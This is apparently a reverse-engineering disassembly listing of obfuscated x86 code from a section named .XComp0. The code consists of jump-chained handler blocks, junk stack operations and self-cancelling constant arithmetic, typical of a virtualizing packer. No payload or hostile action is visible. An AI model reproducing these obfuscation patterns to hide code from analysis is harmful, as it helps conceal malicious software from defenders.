		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_589705
; ---------------------------------------------------------------------------


loc_588851:				; CODE XREF: .XComp0:00585AC6j
		pop	esp
		xor	edi, 458A7716h
		shr	edi, 3
		inc	edi
		push	1619h
		mov	[esp], ebx
		push	ebp
		push	2DC6B36h
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		sub	ebp, 36901502h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 42EFE4CBh
		sub	ebp, 3EE17A25h
		add	ebp, ebx
		push	eax
		mov	eax, 11CE1FE4h
		jmp	loc_598662
; ---------------------------------------------------------------------------


loc_588899:				; CODE XREF: .XComp0:00584169j
		mov	[esp], ebx
		mov	bl, 0CBh
		sub	bl, 78h
		sub	cl, 62h
		sub	cl, bl
		add	cl, 62h
		pop	ebx
		sub	al, cl
		pop	ecx
		jmp	loc_5841AA
; ---------------------------------------------------------------------------


loc_5888B2:				; CODE XREF: .XComp0:00583E37j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	ebx, 5980C92h
		jmp	loc_593577
; ---------------------------------------------------------------------------


loc_5888C4:				; CODE XREF: .XComp0:0059870Fj
		mov	[esp], ecx
		mov	cx, 860h
		shl	cx, 3
		shl	cx, 5
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bx, 7FBEh
		jmp	loc_595430
; ---------------------------------------------------------------------------


loc_5888F2:				; CODE XREF: .XComp0:0058F41Aj
		xor	bl, 62h
		push	eax
		mov	al, 33h
		jmp	loc_591136
; ---------------------------------------------------------------------------


loc_5888FD:				; CODE XREF: .XComp0:005846B9j
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		xor	[esp], al
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------
		push	5AC3h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		push	6E85h
		mov	[esp], edi
		jmp	loc_593D91
; ---------------------------------------------------------------------------


loc_588929:				; CODE XREF: .XComp0:00595E1Ej
		push	dword ptr [esp]
		pop	ecx
		push	edx
		jmp	loc_596CB0
; ---------------------------------------------------------------------------


loc_588933:				; CODE XREF: .XComp0:00587AD5j
		sub	eax, edi
		jmp	loc_58C653
; ---------------------------------------------------------------------------


loc_58893A:				; CODE XREF: .XComp0:00594CF5j
		shr	ebp, 7
		sub	ebp, 2AAE51B3h
		add	ebp, 9247932h
		add	ebp, 41277DACh
		and	esi, ebp
		pop	ebp
		shr	esi, 8
		dec	esi
		sub	esi, 110E0Ch
		mov	eax, esi
		pop	esi
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, ebx
		mov	esi, edx
		pop	edx
		pop	ebx
		jmp	loc_594CDC
; ---------------------------------------------------------------------------


loc_588976:				; CODE XREF: .XComp0:00594A72j
		neg	esi
		jmp	loc_58BF13
; ---------------------------------------------------------------------------


loc_58897D:				; CODE XREF: .XComp0:0058CD81j
		mov	[esp], ecx
		mov	cl, 6
		jmp	loc_58C9FC
; ---------------------------------------------------------------------------


loc_588987:				; CODE XREF: .XComp0:0058917Cj
		mov	esi, 40EA5B1Ch
		sub	esi, 580E24D2h
		shl	esi, 8
		sub	esi, 0B277E656h
		add	edx, esi
		pop	esi
		jmp	loc_594BD9
; ---------------------------------------------------------------------------


loc_5889A3:				; CODE XREF: .XComp0:00588DF3j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_58C47E
; ---------------------------------------------------------------------------


loc_5889CC:				; CODE XREF: .XComp0:00588A2Dj
		mov	eax, [esp]
		jmp	loc_58AF1B
; ---------------------------------------------------------------------------


loc_5889D4:				; CODE XREF: .XComp0:00585754j
		add	esp, 4
		push	ebx
		mov	ebx, 549502B4h
		jmp	loc_59706F
; ---------------------------------------------------------------------------


loc_5889E5:				; CODE XREF: .XComp0:005901CCj
		pop	ebx
		jmp	loc_58E969
; ---------------------------------------------------------------------------


loc_5889EB:				; CODE XREF: .XComp0:00597464j
		xor	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esi, 3A7429A4h
		add	esi, 1AE90DB9h
		add	esi, edx
		sub	esi, 1AE90DB9h
		add	esi, 3A7429A4h
		mov	edx, [esp]
		jmp	loc_591D09
; ---------------------------------------------------------------------------


loc_588A16:				; CODE XREF: .XComp0:00589930j
		mov	ecx, 2
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_5889CC
; ---------------------------------------------------------------------------


loc_588A32:				; CODE XREF: .XComp0:0058DD78j
		mov	edx, 797826A4h
		jmp	loc_587003
; ---------------------------------------------------------------------------


loc_588A3C:				; CODE XREF: .XComp0:0058FA84j
		pop	eax
		jmp	loc_589298
; ---------------------------------------------------------------------------


loc_588A42:				; CODE XREF: .XComp0:0058E60Dj
		mov	eax, ebx
		pop	ebx
		mov	ebx, eax
		jmp	loc_583B72
; ---------------------------------------------------------------------------


loc_588A4C:				; CODE XREF: .XComp0:0058D7BDj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_58C6C8
; ---------------------------------------------------------------------------


loc_588A5A:				; CODE XREF: .XComp0:0058B0F1j
		push	esi
		mov	esi, 5FD476FDh
		jmp	loc_58CC95
; ---------------------------------------------------------------------------


loc_588A65:				; CODE XREF: .XComp0:005960C5j
		push	eax
		mov	eax, 3D703547h
		shl	eax, 3
		jmp	loc_5961C4
; ---------------------------------------------------------------------------


loc_588A73:				; CODE XREF: .XComp0:0058A4C0j
		pop	esi
		jmp	loc_589D90
; ---------------------------------------------------------------------------


loc_588A79:				; CODE XREF: .XComp0:0058F20Fj
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	3CEEh
		jmp	loc_5902E7
; ---------------------------------------------------------------------------


loc_588A88:				; CODE XREF: .XComp0:005846E2j
		push	376D8547h
		mov	ebx, [esp]
		add	esp, 4
		xor	edx, ebx
		jmp	loc_595476
; ---------------------------------------------------------------------------


loc_588A9A:				; CODE XREF: .XComp0:005903D8j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	2F81h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_591B05
; ---------------------------------------------------------------------------


loc_588AB0:				; CODE XREF: .XComp0:0058BAC9j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_590AD1
; ---------------------------------------------------------------------------


loc_588AC1:				; CODE XREF: .XComp0:0058EB1Dj
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_588AD3:				; CODE XREF: .XComp0:00588FFEj
		pop	esi
		xor	ecx, 7AD33EF8h
		jmp	loc_596485
; ---------------------------------------------------------------------------


loc_588ADF:				; CODE XREF: .XComp0:005955C6j
		mov	edx, esp
		push	ebx
		mov	ebx, 1C676DA6h
		inc	ebx
		add	ebx, 0E398925Dh
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_593B43
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		jmp	loc_58C66A
; ---------------------------------------------------------------------------


loc_588B03:				; CODE XREF: .XComp0:0058A1ABj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	cx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_583C52
; ---------------------------------------------------------------------------


loc_588B25:				; CODE XREF: .XComp0:005967BEj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		push	ecx
		mov	ecx, 2FD15F84h
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	ecx, 6
		dec	ecx
		xor	ecx, 340BA84h
		push	ecx
		pop	esi
		pop	ecx
		add	ebx, 59EC4F6Fh
		jmp	loc_58A9BB
; ---------------------------------------------------------------------------


loc_588B5E:				; CODE XREF: .XComp0:00590D97j
		xor	ecx, eax
		xor	eax, ecx
		xchg	ebx, ecx
		push	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_58BF9B
; ---------------------------------------------------------------------------


loc_588B79:				; CODE XREF: .XComp0:005929FAj
		mov	ecx, 5BF757D7h
		push	edi
		mov	edi, 3D4F23F2h
		xor	ecx, edi
		pop	edi
		neg	ecx
		add	ecx, 6B662690h
		add	ecx, 60038150h
		sub	eax, ecx
		pop	ecx
		jmp	loc_58E53A
; ---------------------------------------------------------------------------


loc_588B9D:				; CODE XREF: .XComp0:0058B944j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_58D511
; ---------------------------------------------------------------------------


loc_588BB4:				; CODE XREF: .XComp0:00592FECj
		or	ebx, 375C3AE5h
		and	ebx, 16405E52h
		xor	ebx, 509878DBh
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	5D7Fh
		mov	[esp], ebx
		mov	ebx, 2011DFCh
		jmp	loc_591329
; ---------------------------------------------------------------------------


loc_588BE3:				; CODE XREF: .XComp0:0058E736j
		pop	esp
		mov	eax, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_59648D
; ---------------------------------------------------------------------------


loc_588BEF:				; CODE XREF: .XComp0:00586A1Ej
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0CCD82C67h
		add	eax, 34005656h
		sub	eax, edx
		jmp	loc_598966
; ---------------------------------------------------------------------------


loc_588C0C:				; CODE XREF: .XComp0:0058529Ej
		add	eax, 1CF70262h
		add	eax, ecx
		sub	eax, 1CF70262h
		push	edx
		push	eax
		mov	eax, 51394583h
		push	ecx
		mov	ecx, 28906273h
		not	ecx
		inc	ecx
		sub	esp, 4
		mov	[esp], esi
		push	16800A39h
		pop	esi
		xor	ecx, esi
		pop	esi
		push	ecx
		push	edx
		pop	ecx
		pop	edx
		jmp	loc_58E424
; ---------------------------------------------------------------------------


loc_588C43:				; CODE XREF: .XComp0:0058E5D6j
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_59850C
; ---------------------------------------------------------------------------


loc_588C4D:				; CODE XREF: .XComp0:00588E84j
		mov	[esp], ebx
		mov	eax, [esp]
		push	703Ch
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_58F39A
; ---------------------------------------------------------------------------


loc_588C90:				; CODE XREF: .XComp0:00596A8Fj
		mov	ebx, 7EB04B92h
		sub	ebx, 529843AFh
		and	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 0FFFFFFFFh
		mov	eax, ebx
		pop	ebx
		add	ebp, eax
		jmp	loc_5920D1
; ---------------------------------------------------------------------------


loc_588CB4:				; CODE XREF: .XComp0:005986FFj
		mov	ch, 31h
		mov	bl, 0C1h
		sub	bl, ch
		pop	ecx
		sub	al, 0Ah
		add	al, bl
		push	ecx
		mov	cl, 51h
		push	dx
		mov	dl, 47h
		jmp	loc_595413
; ---------------------------------------------------------------------------


loc_588CCB:				; CODE XREF: .XComp0:00595139j
		mov	[esp], ebp
		mov	ebp, ebx
		push	58CAh
		mov	[esp], ebp
		jmp	loc_584E63
; ---------------------------------------------------------------------------


loc_588CDD:				; CODE XREF: .XComp0:0059282Cj
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_595B3A
; ---------------------------------------------------------------------------


loc_588CEB:				; CODE XREF: .XComp0:00590BA9j
		not	ch
		add	ch, 9Dh
		neg	ch
		xor	ch, 7Dh
		jmp	loc_5896AA
; ---------------------------------------------------------------------------


loc_588CFA:				; CODE XREF: .XComp0:00598EACj
		push	ebx
		push	5A3815E3h
		pop	ebx
		dec	ebx
		or	ebx, 23F70463h
		jmp	loc_58F0CA
; ---------------------------------------------------------------------------


loc_588D0D:				; CODE XREF: .XComp0:005912F0j
		neg	bh
		shl	bh, 6
		sub	bh, 25h
		xor	bh, 0DBh
		sub	ch, 7Ch
		jmp	loc_59614C
; ---------------------------------------------------------------------------


loc_588D20:				; CODE XREF: .XComp0:00593B3Ej
		mov	ecx, 344F21EEh
		mov	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 0F686757h
		sub	ecx, 0CDC548A4h
		jmp	loc_58B8F7
; ---------------------------------------------------------------------------


loc_588D39:				; CODE XREF: .XComp0:00589A30j
		mov	edi, esp
		add	edi, 4
		jmp	loc_587472
; ---------------------------------------------------------------------------


loc_588D46:				; CODE XREF: .XComp0:0058C3A1j
		push	edi
		jmp	loc_592106
; ---------------------------------------------------------------------------


loc_588D4C:				; CODE XREF: .XComp0:0058A1B3j
		mov	edi, 0B2B5C255h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5876A9
; ---------------------------------------------------------------------------


loc_588D5E:				; CODE XREF: .XComp0:00585DD7j
		add	edi, 7CA2738h
		jmp	loc_59557C
; ---------------------------------------------------------------------------


loc_588D69:				; CODE XREF: .XComp0:005886BEj
		push	48AEh
		jmp	loc_594562
; ---------------------------------------------------------------------------


loc_588D73:				; CODE XREF: .XComp0:0059625Ej
		add	esp, 2
		sub	dx, 476Fh
		push	di
		mov	di, 0A865h
		sub	dx, 7FC5h
		sub	dx, di
		jmp	loc_596F18
; ---------------------------------------------------------------------------


loc_588D8E:				; CODE XREF: .XComp0:00589C2Fj
		add	al, bl
		pop	ebx
		sub	al, 96h
		push	ebx
		mov	bh, 5Bh
		add	al, bh
		pop	ebx
		sub	al, bh
		sub	al, 5Bh
		push	ecx
		jmp	loc_592587
; ---------------------------------------------------------------------------


loc_588DA3:				; CODE XREF: .XComp0:0058722Aj
		add	ebx, esi
		pop	esi
		add	ebx, 4
		jmp	loc_5912BB
; ---------------------------------------------------------------------------


loc_588DAE:				; CODE XREF: .XComp0:00587E40j
		push	esp
		pop	eax
		jmp	loc_5929F3
; ---------------------------------------------------------------------------


loc_588DB5:				; CODE XREF: .XComp0:00598C9Cj
		mov	esi, 30A84A10h
		xor	esi, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_589010
; ---------------------------------------------------------------------------


loc_588DC5:				; CODE XREF: .XComp0:00590ACCj
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_58B337
; ---------------------------------------------------------------------------


loc_588DD4:				; CODE XREF: .XComp0:005894F8j
		mov	edi, 4
		mov	edx, edi
		pop	edi
		sub	ebp, 0D43C3Fh
		add	ebp, edx
		add	ebp, 0D43C3Fh
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5889A3
; ---------------------------------------------------------------------------


loc_588DF8:				; CODE XREF: .XComp0:0058D50Cj
		add	ch, 16h
		add	al, 71h
		sub	al, ch
		sub	al, 71h
		pop	ecx
		pop	ebx
		push	cx
		push	edx
		mov	dl, 70h
		jmp	loc_58B500
; ---------------------------------------------------------------------------


loc_588E0D:				; CODE XREF: .XComp0:00595CAEj
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_58F945
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1E2Bh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_58732C
; ---------------------------------------------------------------------------


loc_588E40:				; CODE XREF: .XComp0:005924DCj
		not	edi
		not	edi
		shl	edi, 6
		xor	edi, 0F81730Bh
		sub	ebp, edi
		jmp	loc_59396B
; ---------------------------------------------------------------------------


loc_588E54:				; CODE XREF: .XComp0:00593EEAj
		sub	eax, 5F7E6A1Dh
		add	eax, 219E5F9Bh
		sub	eax, edi
		sub	eax, 219E5F9Bh
		add	eax, 5F7E6A1Dh
		jmp	loc_58D319
; ---------------------------------------------------------------------------


loc_588E6F:				; CODE XREF: .XComp0:00584ECAj
		add	ecx, edi
		push	edx
		mov	edx, 0
		add	edx, ecx
		add	dword ptr [edx], 1
		pop	edx
		pop	ecx


loc_588E81:				; CODE XREF: .XComp0:00597668j
		sub	esp, 4
		jmp	loc_588C4D
; ---------------------------------------------------------------------------


loc_588E89:				; CODE XREF: .XComp0:00585E0Bj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5855D2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_588EAC:				; CODE XREF: .XComp0:00586865j
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		neg	esi
		or	esi, 664D400Ch
		shr	esi, 3
		jmp	loc_594731
; ---------------------------------------------------------------------------


loc_588EC9:				; CODE XREF: .XComp0:00585C53j
		mov	edx, 7B5A601Ch
		push	edx
		jmp	loc_58CE90
; ---------------------------------------------------------------------------


loc_588ED4:				; CODE XREF: .XComp0:005891D9j
		add	ecx, ebx
		pop	ebx
		jmp	loc_59215D
; ---------------------------------------------------------------------------


loc_588EDC:				; CODE XREF: .XComp0:00596D19j
		and	eax, esi
		jmp	loc_5861AA
; ---------------------------------------------------------------------------


loc_588EE3:				; CODE XREF: .XComp0:00584F02j
		pop	ecx
		sub	edx, 242B74B4h
		add	edx, edi
		push	eax
		mov	eax, 213A3AF0h
		inc	eax
		add	eax, 2F139C3h
		jmp	loc_58432D
; ---------------------------------------------------------------------------


loc_588EFD:				; CODE XREF: .XComp0:005894E1j
		add	edi, 0DD51C108h
		mov	edx, edi
		pop	edi
		mov	eax, edx
		pop	edx
		jmp	loc_5954FA
; ---------------------------------------------------------------------------


loc_588F0E:				; CODE XREF: .XComp0:0058A104j
		add	esp, 4
		mov	ebp, 422B5316h
		add	ebp, 4F623A60h
		sub	ebp, ecx
		push	edi
		mov	edi, 4F623A60h
		sub	ebp, edi
		jmp	loc_587AF0
; ---------------------------------------------------------------------------


loc_588F2B:				; CODE XREF: .XComp0:0058DF33j
		pop	edi
		shl	edx, 4
		and	edx, 34046CADh
		push	edi
		push	eax
		mov	eax, 463A043Ah
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	eax, 6EAD737Dh
		jmp	loc_58CBC8
; ---------------------------------------------------------------------------


loc_588F4D:				; CODE XREF: .XComp0:00584256j
		xor	eax, [esp]
		pop	esp
		jmp	loc_58556A
; ---------------------------------------------------------------------------


loc_588F56:				; CODE XREF: .XComp0:0059674Dj
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_589C87
; ---------------------------------------------------------------------------


loc_588F61:				; CODE XREF: .XComp0:00593DFDj
		pop	eax
		add	esp, 4
		push	5BBh
		mov	[esp], ebp
		mov	ebp, 3A9D7A0Dh
		sub	ebp, 106D3FB3h
		jmp	loc_58D408
; ---------------------------------------------------------------------------


loc_588F80:				; CODE XREF: .XComp0:00593FE7j
		push	eax
		mov	eax, 44004014h
		xor	ebp, eax
		pop	eax
		add	edx, ebp
		pop	ebp
		push	ecx
		push	edx
		mov	edx, 24396815h
		mov	ecx, 24396811h
		jmp	loc_584A1A
; ---------------------------------------------------------------------------


loc_588F9D:				; CODE XREF: .XComp0:00592D96j
		push	ecx
		push	61CE600Ch
		pop	ecx
		add	ebp, ecx
		pop	ecx
		add	ebp, 2E3C128Dh
		sub	ebp, 79270DF6h
		add	ecx, 194F210Eh
		add	ecx, ebp
		push	esi
		push	eax
		mov	eax, 194F210Eh
		mov	esi, eax
		pop	eax
		sub	ecx, esi
		jmp	loc_5867C6
; ---------------------------------------------------------------------------


loc_588FCC:				; CODE XREF: .XComp0:0058A3DDj
		mov	eax, esp
		jmp	loc_590088
; ---------------------------------------------------------------------------


loc_588FD3:				; CODE XREF: .XComp0:00590D8Ej
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58ACF4
; ---------------------------------------------------------------------------


loc_588FDF:				; CODE XREF: .XComp0:0058A753j
		sub	eax, 2A5B0BD7h
		add	eax, 48D02499h
		jmp	loc_594A90
; ---------------------------------------------------------------------------


loc_588FEE:				; CODE XREF: .XComp0:00594830j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5956BB
; ---------------------------------------------------------------------------


loc_588FFC:				; CODE XREF: .XComp0:0058BDC5j
		mov	ecx, esi
		jmp	loc_588AD3
; ---------------------------------------------------------------------------


loc_589003:				; CODE XREF: .XComp0:00596BA8j
		push	38B7h
		mov	[esp], edi
		jmp	loc_59010A
; ---------------------------------------------------------------------------


loc_589010:				; CODE XREF: .XComp0:00588DC0j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_597D53
; ---------------------------------------------------------------------------


loc_589027:				; CODE XREF: .XComp0:0058A5BAj
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		push	47CDh
		jmp	loc_591AAE
; ---------------------------------------------------------------------------


loc_589038:				; CODE XREF: .XComp0:005944EFj
		pop	ebx
		add	ecx, edi
		sub	ecx, 44DF04ADh
		push	7DABh
		mov	[esp], ebx
		jmp	loc_58ADE6
; ---------------------------------------------------------------------------


loc_58904E:				; CODE XREF: .XComp0:00591457j
		add	eax, ebx
		pop	ebx
		jmp	loc_58A428
; ---------------------------------------------------------------------------


loc_589056:				; CODE XREF: .XComp0:0058CBB5j
		sub	esi, 4
		push	esi
		jmp	loc_585596
; ---------------------------------------------------------------------------


loc_58905F:				; CODE XREF: .XComp0:00593DB1j
		xor	edi, 4B754761h
		jmp	loc_593D51
; ---------------------------------------------------------------------------


loc_58906A:				; CODE XREF: .XComp0:005982EEj
		push	esi
		mov	esi, 4
		add	edx, 6C41DB8h
		add	edx, esi
		sub	edx, 6C41DB8h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_598F94
; ---------------------------------------------------------------------------


loc_58908D:				; CODE XREF: .XComp0:0058DFAEj
		push	373Ch
		mov	[esp], eax
		mov	eax, 21BA77E9h
		push	ebp
		mov	ebp, 7F37141Eh
		dec	ebp
		jmp	loc_595A33
; ---------------------------------------------------------------------------


loc_5890A6:				; CODE XREF: .XComp0:00596502j
		add	esp, 4
		push	547Ah
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_597144
; ---------------------------------------------------------------------------


loc_5890C6:				; CODE XREF: .XComp0:005945AAj
		mov	edx, [esp]
		jmp	loc_5925E5
; ---------------------------------------------------------------------------


loc_5890CE:				; CODE XREF: .XComp0:00595893j
		neg	ebx
		shl	ebx, 6
		neg	ebx
		sub	ebx, 4547E1C3h
		sub	ecx, ebx
		pop	ebx
		xor	ecx, 0F3C23F5Eh
		push	ecx
		jmp	loc_590158
; ---------------------------------------------------------------------------


loc_5890EA:				; CODE XREF: .XComp0:00598762j
		push	3CF86C2Ch
		pop	ebx
		push	eax
		mov	eax, 377520DEh
		jmp	loc_585812
; ---------------------------------------------------------------------------


loc_5890FB:				; CODE XREF: .XComp0:00593844j
		push	edi
		push	4B7D6B86h
		pop	edi
		jmp	loc_59665B
; ---------------------------------------------------------------------------


loc_589107:				; CODE XREF: .XComp0:005972EDj
		push	edx
		mov	dh, 0BFh
		or	dh, 8Dh
		xor	dh, 1Fh
		add	bl, dh
		mov	edx, [esp]
		add	esp, 4
		add	bl, 14h
		sub	bl, dh
		sub	bl, 14h
		push	eax
		jmp	loc_592A9E
; ---------------------------------------------------------------------------


loc_589129:				; CODE XREF: .XComp0:0059869Bj
		pop	dword ptr [edi+eax*4]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_589131:				; CODE XREF: .XComp0:0058E590j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_59321F
; ---------------------------------------------------------------------------


loc_589140:				; CODE XREF: .XComp0:0058F9E7j
		add	ebp, 2F8A6367h
		push	eax
		mov	eax, 128106A8h
		and	ebp, eax
		jmp	loc_58A07F
; ---------------------------------------------------------------------------


loc_589153:				; CODE XREF: .XComp0:00597786j
		sub	edi, edx
		push	ecx
		push	ebx
		push	ecx
		mov	ecx, 660F6FE6h
		dec	ecx
		jmp	loc_58E4C8
; ---------------------------------------------------------------------------


loc_589163:				; CODE XREF: .XComp0:00597B71j
		xchg	ecx, [esp]
		pop	esp
		add	esi, 2
		xor	esi, [esp]
		jmp	loc_594996
; ---------------------------------------------------------------------------


loc_589175:				; CODE XREF: .XComp0:0058AAFFj
		sub	edx, 4BA12C66h
		push	esi
		jmp	loc_588987
; ---------------------------------------------------------------------------


loc_589181:				; CODE XREF: .XComp0:0058F51Fj
		pop	ebp
		inc	esi
		jmp	loc_594C08
; ---------------------------------------------------------------------------


loc_589188:				; CODE XREF: .XComp0:0058D3A5j
		pop	edx
		add	ebp, 6E50ADC0h
		jmp	loc_58F51D
; ---------------------------------------------------------------------------


loc_589194:				; CODE XREF: .XComp0:00596892j
		push	dword ptr [esp]
		pop	ecx
		push	1E89h
		mov	[esp], edx
		jmp	loc_594AAF
; ---------------------------------------------------------------------------


loc_5891A5:				; CODE XREF: .XComp0:00586FFEj
		sub	al, 67h
		push	bx
		mov	bh, 85h
		jmp	loc_5974F3
; ---------------------------------------------------------------------------


loc_5891B0:				; CODE XREF: .XComp0:00590342j
		push	2E6Eh
		mov	[esp], edx
		push	eax
		mov	al, bl
		mov	dl, al
		pop	eax
		jmp	loc_58A987
; ---------------------------------------------------------------------------


loc_5891C3:				; CODE XREF: .XComp0:005900D7j
		or	ch, ah
		jmp	loc_58CD38
; ---------------------------------------------------------------------------


loc_5891CA:				; CODE XREF: .XComp0:005897C3j
		inc	ebx
		and	ebx, 42BF1CC0h
		neg	ebx
		sub	ebx, 0FF59E7BCh
		jmp	loc_588ED4
; ---------------------------------------------------------------------------


loc_5891DE:				; CODE XREF: .XComp0:0058D4CDj
		add	esp, 4
		push	eax
		push	esp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58FDC4
; ---------------------------------------------------------------------------


loc_5891FC:				; CODE XREF: .XComp0:0058C9DFj
		mov	ebp, 6641264Eh
		shl	ebp, 7
		xor	ebp, 0A18A650Dh
		sub	edi, ebp
		pop	ebp
		jmp	loc_58A302
; ---------------------------------------------------------------------------


loc_589212:				; CODE XREF: .XComp0:00585D81j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_58A0A0
; ---------------------------------------------------------------------------


loc_589223:				; CODE XREF: .XComp0:00594B84j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58F13D
; ---------------------------------------------------------------------------


loc_589233:				; CODE XREF: .XComp0:0059466Fj
		add	esp, 4


loc_589236:				; CODE XREF: .XComp0:loc_5971F3j
		push	ebx
		push	ebp
		mov	ebp, 37C6311Ch
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7EEF47C1h
		or	ebp, 60697D6Dh
		not	ebp
		push	eax
		mov	eax, 3B85151Fh
		shl	eax, 2
		neg	eax
		shl	eax, 1
		xor	eax, 642E1737h
		jmp	loc_59770F
; ---------------------------------------------------------------------------


loc_58927E:				; CODE XREF: .XComp0:00587CB1j
		mov	[esp], edx
		mov	edx, 7D392974h
		push	7057h
		mov	[esp], edx
		mov	edx, 58714271h
		jmp	loc_583D9F
; ---------------------------------------------------------------------------


loc_589298:				; CODE XREF: .XComp0:00588A3Dj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58DB33
; ---------------------------------------------------------------------------


loc_5892A1:				; CODE XREF: .XComp0:0058F4ACj
		push	ebx
		mov	bl, 0F8h
		dec	bl
		shl	bl, 5
		dec	bl
		inc	bl
		and	bl, 16h
		jmp	loc_592D6D
; ---------------------------------------------------------------------------


loc_5892B5:				; CODE XREF: .XComp0:0059216Bj
		add	al, dh
		sub	al, 0E1h
		pop	edx
		push	dx
		push	1941h
		mov	[esp], ebx
		mov	bl, 0BFh
		mov	dh, bl
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		push	eax
		mov	al, 76h
		mov	bl, al
		pop	eax
		sub	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_596913
; ---------------------------------------------------------------------------


loc_5892E8:				; CODE XREF: .XComp0:00584646j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 4A522F47h
		xor	edi, 4A522F43h
		add	edx, edi
		mov	edi, [esp]
		push	edx
		jmp	loc_5900C2
; ---------------------------------------------------------------------------


loc_589305:				; CODE XREF: .XComp0:00587C3Ej
		add	edx, ebx
		push	ebx
		mov	ebx, 53F615B9h
		sub	edx, ebx
		pop	ebx
		push	dword ptr [esp]
